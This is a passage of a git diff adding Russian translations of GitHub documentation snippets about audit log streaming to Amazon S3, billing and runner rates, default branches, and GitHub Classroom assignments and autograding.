b/translations/ru-RU/data/reusables/audit_log/streaming-choose-s3.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: c8ea836ffb23f1d69d2a42c5204143442480eafa +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109247" +--- +1. Выберите раскрывающийся список **Настройка потока** и щелкните **Amazon S3**. + + ![Выбор Amazon S3 в раскрывающемся меню](/assets/images/help/enterprises/audit-stream-choice-s3.png) diff --git a/translations/ru-RU/data/reusables/billing/about-invoices-for-enterprises.md b/translations/ru-RU/data/reusables/billing/about-invoices-for-enterprises.md new file mode 100644 index 000000000000..9dc1096dac1a --- /dev/null +++ b/translations/ru-RU/data/reusables/billing/about-invoices-for-enterprises.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8c2775664936aced829bd5b09eeff0ae46204e10 +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878589" +--- +Для платных клиентов {% data variables.product.prodname_enterprise %} счета {% data variables.product.company_short %} выставляются через корпоративную учетную запись на сайте {% data variables.product.prodname_dotcom_the_website %}. Каждый счет включает единый счет за все платные услуги {% data variables.product.prodname_dotcom_the_website %} и все существующие экземпляры {% data variables.product.prodname_ghe_server %}. diff --git a/translations/ru-RU/data/reusables/billing/billing-hosted-runners.md b/translations/ru-RU/data/reusables/billing/billing-hosted-runners.md new file mode 100644 index 000000000000..27533e9c9883 --- /dev/null +++ b/translations/ru-RU/data/reusables/billing/billing-hosted-runners.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 44593ccc9877d4cb1a224122f7c1dd9695db27f6 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109240" +--- +| Linux | 4 | $0.016 | | Linux | 8 | $0.032 | | Linux | 16 | $0.064 | | Linux | 32 | $0.128 | | Linux | 64 | $0.256 | | Windows | 8 | $0.064 | | Windows | 16 | $0.128 | | Windows | 32 | $0.256 | | Windows | 64 | $0.512 | diff --git a/translations/ru-RU/data/reusables/billing/billing-standard-runners.md b/translations/ru-RU/data/reusables/billing/billing-standard-runners.md new file mode 100644 index 000000000000..898e5d519de5 --- /dev/null +++ b/translations/ru-RU/data/reusables/billing/billing-standard-runners.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e45dba1d880e7da8a29bbcc180dd4014527ee1b8 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147764232" +--- +| Операционная система | Ядра | Поминутные тарифы (долл. США) | +|------- | --------- | --------- | +| Linux | 2 | 0,008 долл. США | +| macOS | 3 | 0,08 долл. США | +| Windows | 2 | 0,016 долл. США | diff --git a/translations/ru-RU/data/reusables/billing/email-notifications.md b/translations/ru-RU/data/reusables/billing/email-notifications.md new file mode 100644 index 000000000000..e5237c81dc05 --- /dev/null +++ b/translations/ru-RU/data/reusables/billing/email-notifications.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: b2356ad6e76777400d8995a65e86511186d817e0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113619" +--- +Уведомления по электронной почте отправляются владельцам учетных записей и менеджерам по выставлению счетов, когда расходы достигают 50 %, 75 %, 90 % и 100 % от объема, предусмотренного для вашей учетной записи, и когда расходы достигают 50 %, 75 %, 90 % и 100 % от предельной суммы расходов для вашей учетной записи. + +Эти уведомления можно в любое время отключить в нижней части страницы **Предельная сумма расходов**. + +![Снимок экрана: параметры уведомлений о счетах по электронной почте](/assets/images/help/billing/actions-packages-spending-limit-notifications.png) diff --git a/translations/ru-RU/data/reusables/billing/ghes-with-no-enterprise-account.md b/translations/ru-RU/data/reusables/billing/ghes-with-no-enterprise-account.md new file mode 100644 index 000000000000..d8b7b6fcb307 --- /dev/null +++ b/translations/ru-RU/data/reusables/billing/ghes-with-no-enterprise-account.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7d1eed02eaacb63ecbb988ab13703b9e6b7ec06d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113616" +--- +Клиенты {% data variables.product.prodname_enterprise %}, не имеющие корпоративной учетной записи в {% data variables.product.prodname_dotcom_the_website %}, могут просматривать выставленные счета и историю платежей на [веб-сайте {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/login). {% data reusables.enterprise-accounts.to-upgrade-or-get-started %} diff --git a/translations/ru-RU/data/reusables/billing/license-statuses.md b/translations/ru-RU/data/reusables/billing/license-statuses.md new file mode 100644 index 000000000000..f64990f793b9 --- /dev/null +++ b/translations/ru-RU/data/reusables/billing/license-statuses.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 67d1494a61de0411dec87f78177cd695055e82db +ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/31/2022 +ms.locfileid: "148120651" +--- +{% ifversion ghec %} Если ваша лицензия включает {% data variables.visual_studio.prodname_vss_ghe %}, вы можете определить, успешно ли соответствует учетная запись пользователя в {% data variables.product.prodname_dotcom_the_website %} подписчику {% data variables.product.prodname_vs %}, скачав CSV-файл, содержащий дополнительные сведения о лицензии. Лицензия будет иметь одно из следующих состояний: +- "Соответствует": учетная запись пользователя на сайте {% data variables.product.prodname_dotcom_the_website %} связана с подписчиком {% data variables.product.prodname_vs %}. +- "Приглашение без ответа": подписчику {% data variables.product.prodname_vs %} было отправлено приглашение, но подписчик его не принял. +- Пусто: связь {% data variables.product.prodname_vs %} с учетной записью пользователя на сайте {% data variables.product.prodname_dotcom_the_website %} отсутствует. +{% endif %} diff --git a/translations/ru-RU/data/reusables/billing/overages-billed-monthly.md b/translations/ru-RU/data/reusables/billing/overages-billed-monthly.md new file mode 100644 index 000000000000..764220b44468 --- /dev/null +++ b/translations/ru-RU/data/reusables/billing/overages-billed-monthly.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3b42f51dea71886a88dba8060378168af689c1b6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060212" +--- +Счета за превышения выставляются ежемесячно независимо от срока выставления счетов (даже если счет за вашу учетную запись обычно выставляется раз в год). diff --git a/translations/ru-RU/data/reusables/branches/change-default-branch.md b/translations/ru-RU/data/reusables/branches/change-default-branch.md new file mode 100644 index 000000000000..c77e975b996a --- /dev/null +++ b/translations/ru-RU/data/reusables/branches/change-default-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c76f774643601f414644ca481b24fd518b79647e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115872" +--- +Ветвь по умолчанию для существующего репозитория можно изменить. Дополнительные сведения см. в разделе [Изменение ветви по умолчанию](/github/administering-a-repository/changing-the-default-branch). diff --git a/translations/ru-RU/data/reusables/branches/default-branch-automatically-base-branch.md b/translations/ru-RU/data/reusables/branches/default-branch-automatically-base-branch.md new file mode 100644 index 000000000000..3c5d79198221 --- /dev/null +++ b/translations/ru-RU/data/reusables/branches/default-branch-automatically-base-branch.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 982a490abb31c43cca19c0f20fc501ed0e201c28 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883079" +--- +Если не указана другую ветвь, ветвь по умолчанию в репозитории служит базовой ветвью для новых запросов на вытягивание и фиксаций кода. + diff --git a/translations/ru-RU/data/reusables/branches/new-repo-default-branch.md b/translations/ru-RU/data/reusables/branches/new-repo-default-branch.md new file mode 100644 index 000000000000..17f774ac0d03 --- /dev/null +++ b/translations/ru-RU/data/reusables/branches/new-repo-default-branch.md @@ -0,0 +1,2 @@ +When you create a repository with content on {% data variables.location.product_location %}, {% data variables.product.product_name %} creates the repository with a single branch. This first branch in the repository is the default branch. + diff --git a/translations/ru-RU/data/reusables/branches/set-default-branch.md b/translations/ru-RU/data/reusables/branches/set-default-branch.md new file mode 100644 index 000000000000..f702992cec95 --- /dev/null +++ b/translations/ru-RU/data/reusables/branches/set-default-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 284fb70fbbe78100d36cc2a047e411b6402ad61f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113587" +--- +Имя ветви по умолчанию для новых репозиториев можно настроить. Дополнительные сведения см. в разделах [Управление ветвью по умолчанию для репозиториев](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories), [Управление именем ветви по умолчанию для репозиториев в организации](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization) и [Применение политик управления репозиториями в организации](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-on-the-default-branch-name). diff --git a/translations/ru-RU/data/reusables/classroom/about-assignments.md b/translations/ru-RU/data/reusables/classroom/about-assignments.md new file mode 100644 index 000000000000..3f7e0eb82b74 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/about-assignments.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9a7298c6191c214337a9bf5fa91af6bc5a4849b6 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115864" +--- +У каждого задания есть название и предлагаемый срок выполнения. Вы можете выбрать видимость репозиториев, создаваемых {% data variables.product.prodname_classroom %}, и разрешения на доступ. Кроме того, вы можете выбрать автоматическую оценку заданий и создать отдельное пространство для обсуждения задания с учащимся. diff --git a/translations/ru-RU/data/reusables/classroom/about-autograding.md b/translations/ru-RU/data/reusables/classroom/about-autograding.md new file mode 100644 index 000000000000..29cde59f6436 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/about-autograding.md @@ -0,0 +1 @@ +You can use autograding to automatically check a student's work for an assignment on {% data variables.product.prodname_classroom %}. You configure tests for an assignment, and the tests run immediately every time a student pushes to an assignment repository on {% data variables.location.product_location %}. The student can view the test results, make changes, and push to see new results. diff --git a/translations/ru-RU/data/reusables/classroom/about-classrooms.md b/translations/ru-RU/data/reusables/classroom/about-classrooms.md new file mode 100644 index 000000000000..577fe6d3eab1 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/about-classrooms.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0c0b07596b436e31c3d7df47117680fd7b966391 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115859" +--- +Аудитория в {% data variables.product.prodname_classroom %} — это место, где преподаватели и учащиеся взаимодействуют во время курса. Преподаватели могут создать список учащихся для аудитории, а затем создавать, назначать, проверять и оценивать задания в аудитории. diff --git a/translations/ru-RU/data/reusables/classroom/about-online-ides.md b/translations/ru-RU/data/reusables/classroom/about-online-ides.md new file mode 100644 index 000000000000..c79e2450ad9c --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/about-online-ides.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: af104c796c482ea08dd21018c9c5f427b6e8aa77 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113571" +--- +Задание можно настроить на использование интегрированной среды разработки. IDE позволяют учащимся писать код, запускать программы и вместе работать над проектами, не устанавливая Git и не используя полную цепочку инструментов разработки на своем компьютере. Если вы выберете для задания интегрированную среду разработки, учащиеся смогут извлекать и запускать код локально на компьютере с необходимым программным обеспечением. diff --git a/translations/ru-RU/data/reusables/classroom/assignments-classroom-prerequisite.md b/translations/ru-RU/data/reusables/classroom/assignments-classroom-prerequisite.md new file mode 100644 index 000000000000..e7bfaa07293f --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-classroom-prerequisite.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1f63467395dcced51dba24824377979ebdb84e78 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115843" +--- +Перед созданием назначения необходимо создать аудиторию. Дополнительные сведения см. в статье [Управление аудиториями](/education/manage-coursework-with-github-classroom/manage-classrooms). diff --git a/translations/ru-RU/data/reusables/classroom/assignments-click-pencil.md b/translations/ru-RU/data/reusables/classroom/assignments-click-pencil.md new file mode 100644 index 000000000000..e96536dbc16f --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-click-pencil.md @@ -0,0 +1,2 @@ +1. To the right of the assignment you want to edit, click {% octicon "pencil" aria-label="The pencil icon" %}. + ![Pencil icon for editing assignment in list of assignments](/assets/images/help/classroom/assignments-click-pencil.png) diff --git a/translations/ru-RU/data/reusables/classroom/assignments-group-definition.md b/translations/ru-RU/data/reusables/classroom/assignments-group-definition.md new file mode 100644 index 000000000000..52410fa5fe7d --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-group-definition.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4ac11e16253bb27dd41634737668c5c537cb6e9c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115816" +--- +Групповое задание — это совместная курсовая работа для групп учащихся в {% data variables.product.prodname_classroom %}. diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-assign-a-deadline.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-assign-a-deadline.md new file mode 100644 index 000000000000..f05960ea594f --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-assign-a-deadline.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5d07dabd311996d71af152ff5068855e93fa911d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113560" +--- +Для назначения можно указать срок. В разделе "Крайний срок (необязательно)" щелкните текстовое поле и укажите крайний срок, используя средство выбора даты. + +
+ Date picker for assignment deadline +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-an-online-ide.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-an-online-ide.md new file mode 100644 index 000000000000..6d85cba974ae --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-an-online-ide.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: ee3ed1eecdd04268bf04b44e80ca4cdf4690f328 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115811" +--- +Чтобы выбрать интегрированную среду разработки для назначения, откройте раскрывающееся меню "Добавить редактор" и выберите интегрированную среду разработки, которую должны использовать ваши учащиеся. + +
+ Using the 'Select an online IDE' drop-down menu to click an online IDE for the assignment +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-template-repository.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-template-repository.md new file mode 100644 index 000000000000..7034875b1576 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-template-repository.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5c4affacf0e818ac33a3ef444ca17fd9e159aa72 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113552" +--- +В разделе "Добавление репозитория шаблонов для предоставления учащимся начального кода" откройте раскрывающийся список **Выбор репозитория** и введите поисковый запрос. В списке результатов щелкните репозиторий шаблонов, который вы хотите использовать для начального кода. + +
+ Using the 'Select a repository' drop-down menu to find a template repository to use as starter code for an assignment +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-visibility.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-visibility.md new file mode 100644 index 000000000000..0f38749cd096 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-choose-visibility.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 66fdbca75762848fce18a18321fd082a844cfa3f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115808" +--- +Репозитории для задания могут быть общедоступными или частными. Если вы используете частные репозитории, то ваш отзыв смогут увидеть только учащийся или команда. + +Вы также можете решить, предоставлять ли учащимся разрешения администратора в отношении репозитория для задания. Предоставляйте разрешения администратора, если учащийся должен иметь возможность выполнять в репозитории задания административные задачи. Дополнительные сведения см. в разделах [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility) и [Роли репозиториев для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +В разделе "Видимость репозитория" выберите видимость. При необходимости установите флажок **Предоставить учащимся административный доступ к их репозиторию**. + +
+ Visibility options for assignment repositories +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-click-continue-after-basics.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-click-continue-after-basics.md new file mode 100644 index 000000000000..63b37514b688 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-click-continue-after-basics.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: f8b8e532906339d5947b993371dfc86767f090c3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113547" +--- +
+ +Закончив, нажмите кнопку **Продолжить**, чтобы настроить начальный код и среду разработки для назначения. + +
+ 'Continue' button +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md new file mode 100644 index 000000000000..f98b5fd1a271 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-click-continue-after-starter-code-and-feedback.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 2c0b2605698270da05073f672a6b3c95a6e893d1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115800" +--- +
+ +Закончив, нажмите **Продолжить**, чтобы настроить автоматическую оценку и отзывы для проекта. + +
+ 'Continue' button +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-click-create-assignment-button.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-click-create-assignment-button.md new file mode 100644 index 000000000000..5fff1978f538 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-click-create-assignment-button.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 990130d0a985fd067b4170ed859a1aac3fca26d8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113539" +--- +Чтобы создать назначение, нажмите **Создать назначение**. + +
+ 'Create assignment' button +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-create-review-pull-request.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-create-review-pull-request.md new file mode 100644 index 000000000000..b0281cc68eb8 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-create-review-pull-request.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 39a5a35bf986c41f4f88f9fdb09c8d0cc01df28f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879564" +--- +Чтобы создать запросы на вытягивание для обсуждения отзывов, выберите **Включить запросы на вытягивание отзывов**. + +
+ Checkbox for 'Enable feedback pull requests' +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-create-the-assignment.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-create-the-assignment.md new file mode 100644 index 000000000000..66b085056576 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-create-the-assignment.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 9965462081060f1f0758a85bb1d0db26111337b8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113536" +--- +1. Войдите в {% data variables.product.prodname_classroom_with_url %}. +1. Перейдите к аудитории. +1. На вкладе **Задания** {% octicon "repo" aria-label="The repo icon" %} создайте задание. + - Если это первое задание, нажмите **Создать назначение**. + ![Создание первого задания](/assets/images/help/classroom/assignments-create-first-assignment.png) + - В противном случае нажмите **Новое назначение**. + ![Кнопка "Новое назначение"](/assets/images/help/classroom/assignments-click-new-assignment-button.png) diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-intro-for-environment.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-intro-for-environment.md new file mode 100644 index 000000000000..d14196e18818 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-intro-for-environment.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e334b5cc9f8050d9d6cffb4a546546cf6a6d0fe5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115792" +--- +При желании вы можете подготовить пустые репозитории или начальный код, а также предварительно настроить для учащихся среду разработки. diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-invite-students-to-assignment.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-invite-students-to-assignment.md new file mode 100644 index 000000000000..aedd346e9829 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-invite-students-to-assignment.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 309ec6ba4cffd949c49ce15224931d76c90e1c58 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882242" +--- +{% data reusables.classroom.classroom-enables-invitation-urls %} + +{% data reusables.classroom.invitation-url-warning %} diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-prevent-changes.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-prevent-changes.md new file mode 100644 index 000000000000..3a2300547150 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-prevent-changes.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 8786abf5810480e3b42b2116a695cf6f4a117182 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145115787" +--- +Вы можете запретить учащимся изменять файлы, содержащие тесты для автоматической оценки или другие важные файлы, в репозитории заданий. + +В разделе "Защищенные пути к файлам" введите относительные пути в защищенном репозитории. + +
+ Text field for typing protected file paths +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-guide-using-autograding.md b/translations/ru-RU/data/reusables/classroom/assignments-guide-using-autograding.md new file mode 100644 index 000000000000..b04befa907df --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-guide-using-autograding.md @@ -0,0 +1,23 @@ +{% data reusables.classroom.about-autograding %} For more information, see "[Use autograding](/education/manage-coursework-with-github-classroom/use-autograding)." + +{% data reusables.classroom.use-add-test-drop-down-to-click-grading-method %} For more information, see "[Grading methods](/education/manage-coursework-with-github-classroom/use-autograding#grading-methods)." + +
+ Using the 'Add test' drop-down menu to click a grading method +
+ +
+ +Define the parameters of your test case, like the name, commands, inputs, outputs, timeout, and points. When you're done, click **Save test case**. + +
+ 'Save test case' button for an autograding test +
+ +
+ +You can add more tests with the **Add test** drop-down menu, and you can edit or delete existing tests with {% octicon "pencil" aria-label="The pencil icon" %} or {% octicon "trash" aria-label="The trash icon" %}. + +
+ Pencil and trash icons to edit or delete an autograding test +
diff --git a/translations/ru-RU/data/reusables/classroom/assignments-individual-definition.md b/translations/ru-RU/data/reusables/classroom/assignments-individual-definition.md new file mode 100644 index 000000000000..0e09babfd63c --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-individual-definition.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9953f3e686f783a19e00bb5e3eb64c68559539bc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882194" +--- +Индивидуальное задание — это курсовая работа для каждого учащегося, который участвует в курсе по {% data variables.product.prodname_classroom %}. Учащийся должен выполнить индивидуальное задание без помощи других студентов. diff --git a/translations/ru-RU/data/reusables/classroom/assignments-to-prevent-submission.md b/translations/ru-RU/data/reusables/classroom/assignments-to-prevent-submission.md new file mode 100644 index 000000000000..11c46ddc954f --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-to-prevent-submission.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 01207ef9ea3bd2c766df771f946fe8c3c06f4b9d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882186" +--- +Чтобы запретить учащимся принимать или отправлять то или иное задание, измените "Состояние задания" в представлении "Изменить задание". Если задание активно, учащиеся смогут принять его по ссылке-приглашению. Если оно неактивно, ссылка работать не будет. diff --git a/translations/ru-RU/data/reusables/classroom/assignments-type-a-title.md b/translations/ru-RU/data/reusables/classroom/assignments-type-a-title.md new file mode 100644 index 000000000000..20d32397ac46 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/assignments-type-a-title.md @@ -0,0 +1,5 @@ +Type a title for the assignment. Optionally, click {% octicon "pencil" aria-label="The pencil icon" %} to edit the prefix. + +
+ Assignment title and prefix +
diff --git a/translations/ru-RU/data/reusables/classroom/classroom-admins-link.md b/translations/ru-RU/data/reusables/classroom/classroom-admins-link.md new file mode 100644 index 000000000000..6231497b333c --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/classroom-admins-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2c13650fcb58c4ab750646ed1d453a61e9624ef2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113488" +--- +Дополнительные сведения о администраторах аудитории см. в разделе [Об управлении классами](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms#about-management-of-classrooms). diff --git a/translations/ru-RU/data/reusables/classroom/classroom-codespaces-link.md b/translations/ru-RU/data/reusables/classroom/classroom-codespaces-link.md new file mode 100644 index 000000000000..815039f16a4d --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/classroom-codespaces-link.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d08d90913850e8569a4d2a42fbd82ff7f93a34b9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063717" +--- +Можно настроить задание с помощью {% data variables.product.prodname_github_codespaces %} для предоставления учащимся доступа к среде Visual Studio Code на основе браузера с помощью настройки одним щелчком мыши. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} с {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom). diff --git a/translations/ru-RU/data/reusables/classroom/classroom-creates-group-repositories.md b/translations/ru-RU/data/reusables/classroom/classroom-creates-group-repositories.md new file mode 100644 index 000000000000..cc4ecbb96fa1 --- /dev/null +++ b/translations/ru-RU/data/reusables/classroom/classroom-creates-group-repositories.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 